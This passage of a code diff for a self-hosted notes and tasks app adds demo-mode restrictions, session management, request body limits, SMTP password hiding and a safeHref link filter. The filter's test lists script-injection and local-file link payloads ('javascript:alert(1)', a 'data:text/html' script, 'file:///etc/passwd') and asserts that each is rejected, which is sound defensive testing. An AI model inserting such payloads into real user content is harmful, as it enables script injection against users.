Sitzungen werden durch kryptografische JWTs geschützt. Bei einer Passwortänderung werden alle alten Sitzungen automatisch ungültig.
Geräte, auf denen du angemeldet bist. Unbenutzte Sitzungen enden nach 30 Tagen; eine Passwortänderung meldet alle anderen Geräte ab.
</p>
</div>
<SessionsPanel />
<div className="flex flex-col sm:flex-row sm:items-center justify-between gap-3 p-3.5 rounded-card border border-border bg-canvas">
<div className="text-xs">
<p className="font-semibold text-main">Alle Sitzungen sofort beenden</p>
@@ -667,8 +704,9 @@ export const UserSettingsView: React.FC<UserSettingsViewProps> = ({
<button
type="button"
onClick={handleRevokeAllSessions}
disabled={revokingSessions}
className="btn-danger h-8 px-3 text-xs shrink-0 cursor-pointer"
disabled={demoMode || revokingSessions}
title={demoMode ? 'In der Demo deaktiviert' : undefined}
className="btn-danger h-8 px-3 text-xs shrink-0 cursor-pointer disabled:opacity-40 disabled:cursor-not-allowed"
>
{revokingSessions ? 'Beende…' : 'Alle Sitzungen beenden'}
</button>
@@ -709,7 +747,8 @@ export const UserSettingsView: React.FC<UserSettingsViewProps> = ({
<button
type="button"
onClick={() => openDanger('account')}
disabled={isLastAdmin}
disabled={isLastAdmin || demoMode}
title={demoMode ? 'In der Demo deaktiviert' : undefined}
className="btn-danger h-11 sm:h-8 px-3 text-xs shrink-0 disabled:opacity-40 disabled:cursor-not-allowed"
>
Konto löschen
@@ -942,6 +981,13 @@ export const UserSettingsView: React.FC<UserSettingsViewProps> = ({
</p>
</div>
{demoMode && (
<div className="flex items-center gap-2 alert-err">
<AlertCircle className="w-4 h-4 text-status-err flex-shrink-0" />
<span>In der Demo deaktiviert: Alarme und Tests werden nicht verschickt.</span>
</div>
)}
{alarmMsg && (
<div
className={`flex items-center gap-2 ${
@@ -1008,8 +1054,8 @@ export const UserSettingsView: React.FC<UserSettingsViewProps> = ({
<button
type="button"
onClick={() => handleTestChannel('email')}
disabled={testingChannel === 'email'}
className="btn-action h-8 px-3 text-xs flex items-center gap-1.5 flex-shrink-0"
disabled={demoMode || testingChannel === 'email'}
className="btn-action h-8 px-3 text-xs flex items-center gap-1.5 flex-shrink-0 disabled:opacity-40 disabled:cursor-not-allowed"
>
<Send className="w-3 h-3 text-accent" />
<span>{testingChannel === 'email' ? 'Sende…' : 'E-Mail testen'}</span>
@@ -1057,8 +1103,8 @@ export const UserSettingsView: React.FC<UserSettingsViewProps> = ({
<button
type="button"
onClick={() => handleTestChannel('discord')}
disabled={testingChannel === 'discord'}
className="btn-action h-8 px-3 text-xs flex items-center gap-1.5 flex-shrink-0"
disabled={demoMode || testingChannel === 'discord'}
className="btn-action h-8 px-3 text-xs flex items-center gap-1.5 flex-shrink-0 disabled:opacity-40 disabled:cursor-not-allowed"
>
<Send className="w-3 h-3 text-accent" />
<span>{testingChannel === 'discord' ? 'Sende…' : 'Discord testen'}</span>
@@ -1106,8 +1152,8 @@ export const UserSettingsView: React.FC<UserSettingsViewProps> = ({
<button
type="button"
onClick={() => handleTestChannel('webhook')}
disabled={testingChannel === 'webhook'}
className="btn-action h-8 px-3 text-xs flex items-center gap-1.5 flex-shrink-0"
disabled={demoMode || testingChannel === 'webhook'}
className="btn-action h-8 px-3 text-xs flex items-center gap-1.5 flex-shrink-0 disabled:opacity-40 disabled:cursor-not-allowed"
>
<Send className="w-3 h-3 text-accent" />
<span>{testingChannel === 'webhook' ? 'Sende…' : 'Webhook testen'}</span>
@@ -0,0 +1,24 @@
import { describe, expect, it } from 'vitest';
import { describeDevice } from '../SessionsPanel';
describe('describeDevice', () => {
it('names browser and system', () => {
expect(
describeDevice('Mozilla/5.0 (X11; Linux x86_64; rv:130.0) Gecko/20100101 Firefox/130.0')
).toEqual({ label: 'Firefox auf Linux', mobile: false });
expect(
describeDevice(
'Mozilla/5.0 (iPhone; CPU iPhone OS 17_0 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/17.0 Mobile/15E148 Safari/604.1'
)
).toEqual({ label: 'Safari auf iOS', mobile: true });
expect(
describeDevice(
'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/130.0 Safari/537.36 Edg/130.0'
).label
).toBe('Edge auf Windows');
});
it('falls back for empty agents', () => {
expect(describeDevice('').label).toBe('Unbekanntes Gerät');
});
});
+59 -12
View File
@@ -221,6 +221,9 @@ export const TriageDeck: React.FC<TriageDeckProps> = ({
onDeckChange,
onFocusCapture,
}) => {
const writableLists = lists.filter((l) => l.isOwner || l.role !== 'viewer');
const singleWritableList = writableLists.length === 1 ? writableLists[0] : null;
const [cards, setCards] = useState<Thought[]>(deck);
const [lastTriaged, setLastTriaged] = useState<Thought | null>(null);
const [showDateModal, setShowDateModal] = useState(false);
@@ -702,8 +705,8 @@ export const TriageDeck: React.FC<TriageDeckProps> = ({
Quick Dump direkt einer Liste zuordnen:
</p>
<div className="flex flex-wrap gap-1.5">
{lists.length > 0 ? (
lists.map((lst) => (
{writableLists.length > 0 ? (
writableLists.map((lst) => (
<button
key={lst.id}
onClick={() =>
@@ -746,17 +749,35 @@ export const TriageDeck: React.FC<TriageDeckProps> = ({
</button>
<button
disabled={writableLists.length === 0}
onClick={() => {
if (singleWritableList) {
handleAction('keep', {
convertTo: 'list_item',
targetListId: singleWritableList.id,
});
return;
}
setShowDateModal(false);
setShowListSelector((prev) => !prev);
}}
title="Auf eine geteilte Liste setzen"
title={
writableLists.length === 0
? 'Keine Liste vorhanden'
: singleWritableList
? `Auf ${singleWritableList.title}`
: 'Auf eine geteilte Liste setzen'
}
className={`btn-action flex-1 h-9 px-3 justify-center whitespace-nowrap ${
showListSelector ? 'border-accent text-accent bg-accent-dim' : ''
writableLists.length === 0
? 'opacity-40 cursor-not-allowed'
: showListSelector
? 'border-accent text-accent bg-accent-dim'
: ''
}`}
>
<ShoppingCart className="w-3.5 h-3.5 text-accent flex-shrink-0" />
<span>Auf Liste</span>
<span>{singleWritableList ? `Auf ${singleWritableList.title}` : 'Auf Liste'}</span>
</button>
<button
@@ -810,7 +831,7 @@ export const TriageDeck: React.FC<TriageDeckProps> = ({
<SwipeableQueueItem
key={item.id}
item={item}
lists={lists}
lists={writableLists}
onBringToFront={handleBringToFront}
onOpenActionSheet={openActionSheetForCard}
onAction={handleAction}
@@ -854,13 +875,39 @@ export const TriageDeck: React.FC<TriageDeckProps> = ({
<div className="grid grid-cols-2 gap-2">
<button
type="button"
onClick={() => setSheetMode('list')}
className="min-h-[52px] px-3.5 py-2.5 rounded-xl bg-canvas hover:bg-panel-elevated border border-border text-left flex items-center gap-3 transition-colors cursor-pointer active:scale-98"
disabled={writableLists.length === 0}
onClick={() => {
if (singleWritableList) {
handleAction('keep', {
convertTo: 'list_item',
targetListId: singleWritableList.id,
thoughtOverride: actionSheetCard,
});
return;
}
setSheetMode('list');
}}
title={
writableLists.length === 0
? 'Keine Liste vorhanden'
: singleWritableList
? `Auf ${singleWritableList.title}`
: 'Auf Liste setzen'
}
className={`min-h-[52px] px-3.5 py-2.5 rounded-xl bg-canvas hover:bg-panel-elevated border border-border text-left flex items-center gap-3 transition-colors cursor-pointer active:scale-98 ${
writableLists.length === 0 ? 'opacity-40 cursor-not-allowed' : ''
}`}
>
<ShoppingCart className="w-5 h-5 text-accent flex-shrink-0" />
<div>
<div className="min-w-0">
<div className="text-sm font-semibold text-main">Auf Liste</div>
<div className="text-[11px] text-muted">Einkauf / Geteilt</div>
<div className="text-[11px] text-muted truncate">
{writableLists.length === 0
? 'Keine Liste vorhanden'
: singleWritableList
? singleWritableList.title
: 'Einkauf / Geteilt'}
</div>
</div>
</button>
@@ -999,8 +1046,8 @@ export const TriageDeck: React.FC<TriageDeckProps> = ({
Auf welche Liste soll dieser Punkt gesetzt werden?
</p>
<div className="max-h-60 overflow-y-auto space-y-1.5">
{lists.length > 0 ? (
lists.map((lst) => (
{writableLists.length > 0 ? (
writableLists.map((lst) => (
<button
key={lst.id}
type="button"
@@ -0,0 +1,163 @@
import React from 'react';
import { describe, it, expect, vi, beforeEach } from 'vitest';
import { render, screen, fireEvent, waitFor } from '@testing-library/react';
import { TriageDeck } from '../TriageDeck';
import { api } from '../../../lib/api';
import { SharedList, Thought } from '../../../lib/types';
const sampleDeck: Thought[] = [
{
id: 'th_1',
userId: 'u_1',
content: 'Hafermilch und Kaffeebohnen',
status: 'inbox',
priority: 'normal',
source: 'manual',
isCompleted: false,
tags: [],
createdAt: '2026-10-29T10:00:00Z',
},
];
const ownList: SharedList = {
id: 'lst_own',
title: 'Wocheneinkauf',
icon: '🛒',
listType: 'shopping',
isOwner: true,
role: 'owner',
items: [],
createdAt: '2026-10-29T10:00:00Z',
updatedAt: '2026-10-29T10:00:00Z',
};
const secondEditableList: SharedList = {
id: 'lst_edit',
title: 'Baumarkt',
icon: '🔨',
listType: 'checklist',
isOwner: false,
role: 'editor',
items: [],
createdAt: '2026-10-29T10:00:00Z',
updatedAt: '2026-10-29T10:00:00Z',
};
const viewerList: SharedList = {
id: 'lst_view',
title: 'WG-Archiv',
icon: '📋',
listType: 'checklist',
isOwner: false,
role: 'viewer',
items: [],
createdAt: '2026-10-29T10:00:00Z',
updatedAt: '2026-10-29T10:00:00Z',
};
describe('TriageDeck single-list shortcut', () => {
beforeEach(() => {
vi.restoreAllMocks();
vi.spyOn(api, 'triageAction').mockResolvedValue(sampleDeck[0]);
});
it('directly assigns to the single own list without opening the selector', async () => {
const onDeckChange = vi.fn();
render(
<TriageDeck
deck={sampleDeck}
lists={[ownList]}
onDeckChange={onDeckChange}
onOpenDocument={vi.fn()}
onFocusCapture={vi.fn()}
/>
);
const btn = screen.getByRole('button', { name: /Auf Wocheneinkauf/i });
expect((btn as HTMLButtonElement).disabled).toBe(false);
fireEvent.click(btn);
await waitFor(() => {
expect(api.triageAction).toHaveBeenCalledWith('th_1', 'keep', {
convertTo: 'list_item',
targetListId: 'lst_own',
dueDate: undefined,
});
expect(onDeckChange).toHaveBeenCalledTimes(1);
});
expect(screen.queryByText(/Quick Dump direkt einer Liste zuordnen/i)).toBeNull();
});
it('opens the list selector when two writable lists exist instead of assigning directly', () => {
const onDeckChange = vi.fn();
render(
<TriageDeck
deck={sampleDeck}
lists={[ownList, secondEditableList]}
onDeckChange={onDeckChange}
onOpenDocument={vi.fn()}
onFocusCapture={vi.fn()}
/>
);
const btn = screen.getByRole('button', { name: /^Auf Liste$/i });
fireEvent.click(btn);
expect(api.triageAction).not.toHaveBeenCalled();
expect(onDeckChange).not.toHaveBeenCalled();
expect(screen.getByText(/Quick Dump direkt einer Liste zuordnen/i)).toBeTruthy();
expect(screen.getByRole('button', { name: /Wocheneinkauf/i })).toBeTruthy();
expect(screen.getByRole('button', { name: /Baumarkt/i })).toBeTruthy();
});
it('treats one own list and one viewer-only shared list as a single writable list', async () => {
const onDeckChange = vi.fn();
render(
<TriageDeck
deck={sampleDeck}
lists={[viewerList, ownList]}
onDeckChange={onDeckChange}
onOpenDocument={vi.fn()}
onFocusCapture={vi.fn()}
/>
);
const btn = screen.getByRole('button', { name: /Auf Wocheneinkauf/i });
fireEvent.click(btn);
await waitFor(() => {
expect(api.triageAction).toHaveBeenCalledWith('th_1', 'keep', {
convertTo: 'list_item',
targetListId: 'lst_own',
dueDate: undefined,
});
expect(onDeckChange).toHaveBeenCalledTimes(1);
});
});
it('disables the list button when no writable list exists', () => {
const onDeckChange = vi.fn();
render(
<TriageDeck
deck={sampleDeck}
lists={[viewerList]}
onDeckChange={onDeckChange}
onOpenDocument={vi.fn()}
onFocusCapture={vi.fn()}
/>
);
const btn = screen.getByRole('button', { name: /^Auf Liste$/i }) as HTMLButtonElement;
expect(btn.disabled).toBe(true);
expect(btn.title).toBe('Keine Liste vorhanden');
fireEvent.click(btn);
expect(api.triageAction).not.toHaveBeenCalled();
expect(onDeckChange).not.toHaveBeenCalled();
});
});
@@ -25,6 +25,7 @@ import { DocumentBlock, BlockType } from '../../lib/types';
import { LinkModal } from './LinkModal';
import { renderInlineMarkdown } from '../../lib/markdown';
import { api } from '../../lib/api';
import { safeHref } from '../../lib/safeUrl';
export interface SlashCommand {
type: BlockType | 'link';
@@ -1001,9 +1002,9 @@ export const OutlinerBlock: React.FC<OutlinerBlockProps> = ({
);
}
const mdMatch = part.match(/^\[(.*?)\]\((https?:\/\/.*?)\)$/);
if (mdMatch) {
if (mdMatch && safeHref(mdMatch[2])) {
const label = mdMatch[1];
const url = mdMatch[2];
const url = safeHref(mdMatch[2]) as string;
return (
<a
key={idx}
@@ -1018,11 +1019,11 @@ export const OutlinerBlock: React.FC<OutlinerBlockProps> = ({
</a>
);
}
if (/^https?:\/\//.test(part)) {
if (/^https?:\/\//.test(part) && safeHref(part)) {
return (
<a
key={idx}
href={part}
href={safeHref(part) as string}
target="_blank"
rel="noopener noreferrer"
className="inline-flex items-center gap-0.5 px-1.5 py-0.5 text-[10px] font-medium text-status-ok bg-status-ok/10 hover:bg-status-ok/20 rounded-btn transition-colors"
+6
View File
@@ -499,3 +499,9 @@ body {
padding-bottom: 6px !important;
}
}
/* Read-only sections (e.g. server settings in the demo): everything inside looks switched off */
fieldset:disabled :is(button, input, select, textarea) {
opacity: 0.5;
cursor: not-allowed;
}
@@ -0,0 +1,38 @@
import { describe, it, expect } from 'vitest';
import { safeHref } from '../safeUrl';
describe('safeHref', () => {
it('keeps web and mail links', () => {
expect(safeHref('https://example.com/a?b=1')).toBe('https://example.com/a?b=1');
expect(safeHref(' http://example.com ')).toBe('http://example.com/');
expect(safeHref('mailto:anna@example.com')).toBe('mailto:anna@example.com');
});
it('drops everything that could run code or load local data', () => {
for (const bad of [
'javascript:alert(1)',
'JaVaScRiPt:alert(1)',
' javascript:alert(1)',
'java\tscript:alert(1)',
'java\nscript:alert(1)',
'data:text/html,<script>alert(1)</script>',
'vbscript:msgbox(1)',
'file:///etc/passwd',
'/relative/path',
'',
]) {
expect(safeHref(bad)).toBeNull();
}
});
});
describe('Markdown links in task notes', () => {
it('render javascript: links as text, web links as links', async () => {
const { render } = await import('@testing-library/react');
const { MarkdownViewer } = await import('../markdown');
const { container } = render(<MarkdownViewer content={'[Rechnung](javascript:alert(1)) und [Seite](https://example.com)'} />);
const links = Array.from(container.querySelectorAll('a'));
expect(links.map((a) => a.getAttribute('href'))).toEqual(['https://example.com/']);
expect(container.textContent).toContain('Rechnung');
});
});
+14
View File
@@ -27,6 +27,7 @@ import {
Team,
TaskList,
TaskListShare,
Session,
Thought,
SubTask,
SearchResults,
@@ -145,6 +146,10 @@ async function request<T>(path: string, options: RequestInit = {}): Promise<T> {
window.dispatchEvent(new CustomEvent('mindsift:unauthorized'));
}
// Sliding session: the server hands out a fresh token once a day (or after a password change)
const renewed = res.headers.get('X-Session-Token');
if (renewed && res.ok) setToken(renewed);
if (!res.ok) {
let errMsg = `HTTP ${res.status}`;
try {
@@ -209,6 +214,14 @@ export const api = {
}
},
async listSessions(): Promise<Session[]> {
return ensureArray(await request<Session[]>('/api/v1/auth/sessions'));
},
async endSession(id: string): Promise<void> {
await request(`/api/v1/auth/sessions/${encodeURIComponent(id)}`, { method: 'DELETE' });
},
async revokeAllSessions(): Promise<void> {
await request<{ success: boolean }>('/api/v1/auth/revoke-all', { method: 'POST' });
},
@@ -270,6 +283,7 @@ export const api = {
displayName?: string;
email?: string;
password?: string;
currentPassword?: string;
avatarUrl?: string;
alarmChannels?: string[];
alarmEmail?: string;
+3 -2
View File
@@ -1,4 +1,5 @@
import React from 'react';
import { safeHref } from './safeUrl';
/**
* Parses inline markdown:
@@ -86,9 +87,9 @@ function renderInlineTokens(text: string, options?: InlineMarkdownOptions): Reac
{token.slice(2, -2)}
</del>
);
} else if (token.startsWith('[') && match[2] && match[3]) {
} else if (token.startsWith('[') && match[2] && match[3] && safeHref(match[3])) {
const label = match[2];
const url = match[3];
const url = safeHref(match[3]) as string;
elements.push(
<a
key={key}
+16
View File
@@ -0,0 +1,16 @@
// Links from user content (notes, task notes, Markdown) may only point to web pages or mail addresses.
// Anything else – javascript:, data:, vbscript:, file: and friends – would run or load in the app's
// context when clicked, so it is shown as plain text instead (FLAW-28).
const ALLOWED_PROTOCOLS = new Set(['http:', 'https:', 'mailto:']);
export function safeHref(raw: string): string | null {
const value = raw.trim();
if (!value) return null;
try {
// Browsers ignore control characters and whitespace inside the scheme ("java\tscript:"); URL does the same
const url = new URL(value);
return ALLOWED_PROTOCOLS.has(url.protocol) ? url.href : null;
} catch {
return null; // relative or broken: not a link
}
}
+12 -1
View File
@@ -180,7 +180,8 @@ export interface SystemSettings {
smtpHost?: string;
smtpPort?: string; // sent as text, like the server stores it
smtpUser?: string;
smtpPass?: string;
smtpPass?: string; // write only: the server never sends it back, empty keeps the stored one
smtpPassSet?: boolean;
smtpFrom?: string;
smtpTls?: boolean;
smtpSkipVerify?: boolean;
@@ -532,3 +533,13 @@ export interface WSMessage<T = any> {
payload: T;
timestamp: string;
}
// A logged-in device (Profil & Sicherheit)
export interface Session {
id: string;
createdAt: string;
lastUsedAt: string;
userAgent: string;
ip: string;
current: boolean;
}
+7
View File
@@ -12,3 +12,10 @@ ReactDOM.createRoot(document.getElementById('root')!).render(
</React.StrictMode>
);
// Service worker for the app shell (offline start, see public/sw.js)
if ('serviceWorker' in navigator) {
window.addEventListener('load', () => {
navigator.serviceWorker.register('/sw.js').catch(() => {});
});
}
+3 -3
View File
@@ -2,10 +2,10 @@ import { defineConfig } from 'vite';
import react from '@vitejs/plugin-react';
import { readFileSync } from 'node:fs';
// Shown in the header. Release builds get the git tag (APP_VERSION build argument, e.g. "v0.2");
// other builds show the package version with a "-dev" suffix.
// Shown in the header. Release builds get the git tag (APP_VERSION build argument, e.g. "v0.6.0");
// other builds show the package version with a "-dev" suffix (Semantic Versioning, see CHANGELOG.md).
const pkg = JSON.parse(readFileSync(new URL('./package.json', import.meta.url), 'utf8'));
const appVersion = process.env.APP_VERSION || `v${pkg.version.replace(/\.0$/, '')}-dev`;
const appVersion = process.env.APP_VERSION || `v${pkg.version}-dev`;
export default defineConfig({
plugins: [react()],
+9
View File
@@ -13,6 +13,9 @@ import (
// --- MULTI-CHANNEL ALARM DISPATCHER (EMAIL, DISCORD, CUSTOM WEBHOOK) ---
func (s *Server) sendEmailNotification(toEmail, subject, bodyText string) error {
if s.cfg.DemoMode {
return errDemoOutgoing
}
cfg, err := s.smtpSettings()
if err != nil {
return err
@@ -29,6 +32,9 @@ func (s *Server) sendEmailNotification(toEmail, subject, bodyText string) error
}
func (s *Server) sendDiscordNotification(webhookURL, title, description, dueDate, priority string) error {
if s.cfg.DemoMode {
return errDemoOutgoing
}
allowPrivate := s.allowPrivateWebhooks()
if err := validateWebhookURL(webhookURL, true, allowPrivate); err != nil {
return err
@@ -63,6 +69,9 @@ func (s *Server) sendDiscordNotification(webhookURL, title, description, dueDate
}
func (s *Server) sendCustomWebhookNotification(webhookURL, event, title, notes, dueDate, priority string) error {
if s.cfg.DemoMode {
return errDemoOutgoing
}
allowPrivate := s.allowPrivateWebhooks()
if err := validateWebhookURL(webhookURL, false, allowPrivate); err != nil {
return err
+14
View File
@@ -162,7 +162,21 @@ func serveBackupFile(w http.ResponseWriter, r *http.Request, dir, name, contentT
writeError(w, http.StatusNotFound, err.Error())
return
}
allowLongTransfer(w)
w.Header().Set("Content-Type", contentType)
w.Header().Set("Content-Disposition", fmt.Sprintf(`attachment; filename="%s"`, name))
http.ServeFile(w, r, path)
}
// removeUserBackups deletes the server backups of a deleted account (FLAW-37). The system snapshots
// still contain it until they expire (BACKUP retention).
func (s *Server) removeUserBackups(userID string) {
dir := storage.UserBackupDir(s.backupRoot(), userID)
// Only ever one user's own folder, never backups/users itself (IDs like "." or "/")
if base := filepath.Base(dir); userID == "" || base == "." || base == "users" || filepath.Dir(dir) != filepath.Join(s.backupRoot(), "users") {
return
}
if err := os.RemoveAll(dir); err != nil {
slog.Warn("Backups des gelöschten Kontos konnten nicht entfernt werden", "user_id", userID, "error", err)
}
}
+42
View File
@@ -0,0 +1,42 @@
package api
import (
"net/http"
"strings"
"time"
"github.com/sandrodach/mindsift/internal/storage"
)
// Request bodies are capped for every endpoint (FLAW-36), so a session or API key cannot tie up memory
// with huge uploads. Note sync and imports need more; their handlers apply the same limits again.
const defaultMaxBody = 2 << 20
func bodyLimitFor(path string) int64 {
switch {
case strings.HasPrefix(path, "/api/v1/import/"):
return storage.MaxImportUploadBytes + 1<<20
case strings.HasPrefix(path, "/api/v1/docs/") && strings.HasSuffix(path, "/sync"):
return syncMaxBody
}
return defaultMaxBody
}
func bodyLimit(next http.Handler) http.Handler {
return http.HandlerFunc(func(w http.ResponseWriter, r *http.Request) {
if r.Body != nil && r.Body != http.NoBody {
r.Body = http.MaxBytesReader(w, r.Body, bodyLimitFor(r.URL.Path))
}
next.ServeHTTP(w, r)
})
}
// The server gives every request 15 s to send its body and 30 s for the answer. Whole archives on a slow
// line need longer: downloads of backups and exports, uploads of imports (FLAW-38).
const longTransferTime = 30 * time.Minute
func allowLongTransfer(w http.ResponseWriter) {
rc := http.NewResponseController(w)
_ = rc.SetWriteDeadline(time.Now().Add(longTransferTime))
_ = rc.SetReadDeadline(time.Now().Add(longTransferTime))
}
+30
View File
@@ -0,0 +1,30 @@
package api
import (
"net/http"
"strings"
"testing"
)
func TestRequestBodyLimited(t *testing.T) {
srv, _, token := setupTestServer(t)
router := srv.Router()
huge := `{"content":"` + strings.Repeat("x", defaultMaxBody) + `"}`
if rec := sessionCall(router, "POST", "/api/v1/inbox", token, huge, ""); rec.Code != http.StatusBadRequest && rec.Code != http.StatusRequestEntityTooLarge {
t.Fatalf("body over the limit: want 400/413, got %d", rec.Code)
}
if rec := sessionCall(router, "POST", "/api/v1/inbox", token, `{"content":"klein"}`, ""); rec.Code >= 300 {
t.Fatalf("normal body: got %d %s", rec.Code, rec.Body.String())
}
if bodyLimitFor("/api/v1/docs/doc_1/sync") != syncMaxBody || bodyLimitFor("/api/v1/import/obsidian") <= defaultMaxBody {
t.Fatal("sync and import keep their larger limits")
}
}
func TestWebhookTokenInURLOnlyAPIKey(t *testing.T) {
srv, _, token := setupTestServer(t)
rec := sessionCall(srv.Router(), "POST", "/api/v1/webhooks/ingest?token="+token, "", `{"text":"x"}`, "")
if rec.Code != http.StatusUnauthorized {
t.Fatalf("session token in URL: want 401, got %d", rec.Code)
}
}
+16
View File
@@ -1,6 +1,7 @@
package api
import (
"errors"
"log/slog"
"net/http"
"strings"
@@ -75,3 +76,18 @@ func (s *Server) startDemoResetTicker() {
s.resetDemo()
}
}
// A public demo must not send anything to the outside (FLAW-33): no alarm mails, Discord or webhook
// calls, no test messages. The senders refuse, and the routes that only exist to send or to change
// server settings answer with 403 right away. All visitors share the demo accounts, so whatever
// would lock the others out (passwords, ending sessions, deleting accounts) is refused as well.
var errDemoOutgoing = errors.New("In der Demo deaktiviert")
func (s *Server) notInDemo(h http.HandlerFunc) http.HandlerFunc {
if !s.cfg.DemoMode {
return h
}
return func(w http.ResponseWriter, r *http.Request) {
writeError(w, http.StatusForbidden, "In der Demo deaktiviert")
}
}
+2
View File
@@ -135,6 +135,7 @@ func (s *Server) handleImportObsidian(w http.ResponseWriter, r *http.Request) {
// handleExportMarkdown streams an Obsidian-compatible ZIP of the user's workspace (no temp files).
func (s *Server) handleExportMarkdown(w http.ResponseWriter, r *http.Request) {
userID := auth.GetUserID(r.Context())
allowLongTransfer(w)
w.Header().Set("Content-Type", "application/zip")
w.Header().Set("Content-Disposition", fmt.Sprintf(`attachment; filename="mindsift-vault-%s.zip"`, time.Now().Format("2006-01-02")))
if err := s.store.WriteMarkdownVault(userID, w); err != nil {
@@ -145,6 +146,7 @@ func (s *Server) handleExportMarkdown(w http.ResponseWriter, r *http.Request) {
func (s *Server) handleExport(w http.ResponseWriter, r *http.Request) {
userID := auth.GetUserID(r.Context())
allowLongTransfer(w)
exportData, err := s.store.ExportUserData(userID)
if err != nil {
writeError(w, http.StatusInternalServerError, err.Error())
+18 -4
View File
@@ -246,6 +246,7 @@ func (s *Server) handleAdminDeleteUser(w http.ResponseWriter, r *http.Request) {
writeError(w, http.StatusInternalServerError, err.Error())
return
}
s.removeUserBackups(targetUserID)
writeJSON(w, http.StatusOK, map[string]bool{"deleted": true})
}
@@ -302,8 +303,16 @@ func (s *Server) handleAdminGetSettings(w http.ResponseWriter, r *http.Request)
writeError(w, http.StatusInternalServerError, err.Error())
return
}
settings.SMTPConfiguredViaEnv = strings.TrimSpace(s.cfg.SMTPHost) != ""
writeJSON(w, http.StatusOK, settings)
writeJSON(w, http.StatusOK, s.settingsForBrowser(settings))
}
// settingsForBrowser hides the SMTP password; the admin only sees whether one is stored.
func (s *Server) settingsForBrowser(settings *domain.SystemSettings) *domain.SystemSettings {
out := *settings
out.SMTPPassSet = out.SMTPPass != ""
out.SMTPPass = ""
out.SMTPConfiguredViaEnv = strings.TrimSpace(s.cfg.SMTPHost) != ""
return &out
}
func (s *Server) handleAdminUpdateSettings(w http.ResponseWriter, r *http.Request) {
@@ -312,6 +321,12 @@ func (s *Server) handleAdminUpdateSettings(w http.ResponseWriter, r *http.Reques
writeError(w, http.StatusBadRequest, "Ungültiges JSON")
return
}
// Empty means unchanged (the browser never has it); without SMTP user the password goes too
if settings.SMTPPass == "" && strings.TrimSpace(settings.SMTPUser) != "" {
if cur, err := s.store.GetSystemSettings(); err == nil {
settings.SMTPPass = cur.SMTPPass
}
}
previousMode := s.store.SharingMode()
if err := s.store.UpdateSystemSettings(&settings); err != nil {
writeError(w, http.StatusInternalServerError, err.Error())
@@ -324,8 +339,7 @@ func (s *Server) handleAdminUpdateSettings(w http.ResponseWriter, r *http.Reques
return
}
}
settings.SMTPConfiguredViaEnv = strings.TrimSpace(s.cfg.SMTPHost) != ""
writeJSON(w, http.StatusOK, settings)
writeJSON(w, http.StatusOK, s.settingsForBrowser(&settings))
}
func (s *Server) handleAdminTestSMTP(w http.ResponseWriter, r *http.Request) {
+93 -17
View File
@@ -145,7 +145,7 @@ func (s *Server) handleFirstBootSetup(w http.ResponseWriter, r *http.Request) {
_ = s.store.SeedStarterContent(user)
}
token, err := auth.GenerateToken(s.cfg.JWTSecret, user.ID, user.Email, user.DisplayName, user.TokenVersion)
token, err := s.startSession(r, user)
if err != nil {
writeError(w, http.StatusInternalServerError, "Token konnte nicht erstellt werden")
return
@@ -168,6 +168,10 @@ func (s *Server) handleRegister(w http.ResponseWriter, r *http.Request) {
writeError(w, http.StatusBadRequest, "Ungültige Anfrage")
return
}
if wait := s.loginGuard.throttle("register", clientIPFrom(r), limitRegisterPerIP); wait > 0 {
writeThrottled(w, wait)
return
}
if strings.TrimSpace(req.Email) == "" {
writeError(w, http.StatusBadRequest, "E-Mail-Adresse erforderlich")
return
@@ -212,15 +216,26 @@ func (s *Server) handleRegister(w http.ResponseWriter, r *http.Request) {
return
}
// The invite is claimed before the account exists, so it cannot be redeemed twice at once
var claim string
if validInvite != nil {
if claim, err = s.store.ClaimUserInvite(validInvite.ID); err != nil {
writeError(w, http.StatusForbidden, err.Error())
return
}
}
user, err := s.store.CreateUser(req.Email, hash, req.DisplayName, role)
if err != nil {
if validInvite != nil {
s.store.ReleaseUserInvite(validInvite.ID, claim)
}
writeError(w, http.StatusConflict, "E-Mail-Adresse existiert bereits")
return
}
if validInvite != nil {
// Otherwise the code could be used again
if err := s.store.MarkUserInviteUsed(validInvite.ID, user.ID); err != nil {
if err := s.store.FinishUserInvite(validInvite.ID, claim, user.ID); err != nil {
slog.Error("Einladungscode konnte nicht als benutzt markiert werden", "invite", validInvite.ID, "error", err)
}
if validInvite.OrganizationID != "" {
@@ -229,7 +244,7 @@ func (s *Server) handleRegister(w http.ResponseWriter, r *http.Request) {
}
}
token, err := auth.GenerateToken(s.cfg.JWTSecret, user.ID, user.Email, user.DisplayName, user.TokenVersion)
token, err := s.startSession(r, user)
if err != nil {
writeError(w, http.StatusInternalServerError, "Token konnte nicht erstellt werden")
return
@@ -297,7 +312,7 @@ func (s *Server) handleLogin(w http.ResponseWriter, r *http.Request) {
return
}
token, err := auth.GenerateToken(s.cfg.JWTSecret, user.ID, user.Email, user.DisplayName, user.TokenVersion)
token, err := s.startSession(r, user)
if err != nil {
slog.Error("Login-Token konnte nicht erstellt werden", "login", identifier, "user_id", user.ID, "error", err)
writeError(w, http.StatusInternalServerError, "Token konnte nicht erstellt werden")
@@ -370,12 +385,14 @@ func (s *Server) handleDeleteOwnAccount(w http.ResponseWriter, r *http.Request)
writeError(w, status, err.Error())
return
}
s.removeUserBackups(user.ID)
slog.Info("Benutzer hat sein Konto gelöscht", "user_id", user.ID)
writeJSON(w, http.StatusOK, map[string]bool{"deleted": true})
}
// importUpload reads the multipart field "file" (max. storage.MaxImportUploadBytes).
func importUpload(w http.ResponseWriter, r *http.Request) ([]byte, string, error) {
allowLongTransfer(w)
r.Body = http.MaxBytesReader(w, r.Body, storage.MaxImportUploadBytes+1<<20)
file, header, err := r.FormFile("file")
if err != nil {
@@ -393,23 +410,13 @@ func importUpload(w http.ResponseWriter, r *http.Request) ([]byte, string, error
func (s *Server) handleLogout(w http.ResponseWriter, r *http.Request) {
userID := auth.GetUserID(r.Context())
authHeader := r.Header.Get("Authorization")
if strings.HasPrefix(authHeader, "Bearer ") {
tokenStr := strings.TrimPrefix(authHeader, "Bearer ")
if claims, err := auth.ValidateToken(s.cfg.JWTSecret, tokenStr); err == nil && claims != nil {
var exp time.Time
if claims.ExpiresAt != nil {
exp = claims.ExpiresAt.Time
} else {
exp = time.Now().Add(30 * 24 * time.Hour)
}
// The session must really end; the client is told if it did not
if err := s.store.RevokeToken(tokenStr, userID, exp); err != nil {
if sid := sessionIDFrom(r); sid != "" {
